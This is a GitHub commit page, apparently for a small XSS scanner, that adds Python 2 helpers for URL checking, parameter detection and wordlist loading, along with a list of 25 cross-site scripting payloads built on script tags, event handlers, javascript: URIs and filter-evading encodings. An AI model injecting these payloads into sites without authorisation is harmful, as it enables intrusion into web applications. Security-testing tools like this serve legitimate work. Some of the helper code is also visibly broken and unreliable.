This repository has been archived by the owner on Jan 8, 2024. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 114
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7063be5
commit b57cbb0
Showing
9 changed files
with
541 additions
and
0 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
#! /usr/bin/env python | ||
__author__ = 'Rajesh Majumdar' | ||
|
||
import httplib | ||
import socket | ||
import urlparse | ||
|
||
def checkurl(url, status): | ||
if "http://" in url: | ||
pass | ||
elif "https://" in url: | ||
pass | ||
else: | ||
url = "http://"+url | ||
finalurl = urlparse.urlparse(url) | ||
urldata = urlparse.parse_qsl(finalurl.query) | ||
domain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl) | ||
domain = domain0.replace("https://","").replace("http://","").replace("www.","").replace("/","") | ||
try: | ||
request = httplib.HTTPConnection(domain) | ||
request.connect() | ||
status = "1" | ||
except (httplib.HTTPResponse): | ||
status = "0" | ||
return status |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
#! /usr/bin/env python | ||
__author__ = 'Rajesh Majumdar' | ||
|
||
from urlparse import urlparse | ||
|
||
def checkparams(url): | ||
params = urlparse(url) | ||
param = params.query | ||
#print param #For testing | ||
if "=" in param: | ||
pstatus = "1" | ||
else: | ||
pstatus = "0" | ||
return pstatus | ||
|
||
def getquery(url): | ||
#This function would return the query | ||
query = urlparse.query(url) | ||
squery = query.split("=") | ||
aquery = squery[1] | ||
return aquery |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
</script>"><script>prompt(1)</script> | ||
</ScRiPt>"><ScRiPt>prompt(1)</ScRiPt> | ||
"><img src=x onerror=prompt(1)> | ||
"><svg/onload=prompt(1)> | ||
"><iframe/src=javascript:prompt(1)> | ||
"><h1 onclick=prompt(1)>Clickme</h1> | ||
"><a href=javascript:prompt(1)>Clickme</a> | ||
"><a href="javascript:confirm%28 1%29">Clickme</a> | ||
"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> | ||
"><textarea autofocus onfocus=prompt(1)> | ||
"><a/href=javascript:co\u006efir\u006d("1")>clickme</a> | ||
"><script>co\u006efir\u006d`1`</script> | ||
"><ScRiPt>co\u006efir\u006d`1`</ScRiPt> | ||
"><img src=x onerror=co\u006efir\u006d`1`> | ||
"><svg/onload=co\u006efir\u006d`1`> | ||
"><iframe/src=javascript:co\u006efir\u006d%28 1%29> | ||
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1> | ||
"><a href=javascript:prompt%28 1%29>Clickme</a> | ||
"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a> | ||
"><textarea autofocus onfocus=co\u006efir\u006d(1)> | ||
"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome | ||
"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme | ||
"><img/src=x%0Aonerror=prompt`1`> | ||
"><iframe srcdoc="<img src=x:x onerror=alert(1)>"> | ||
"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
#! /usr/bin/env python | ||
|
||
__author__ = 'Rajesh Majumdar' | ||
|
||
def importword(file, lst): | ||
with open(file,'r') as f: | ||
for line in f: | ||
final = str(line.replace("\n","")) | ||
lst.append(final) | ||
return lst |
Binary file not shown.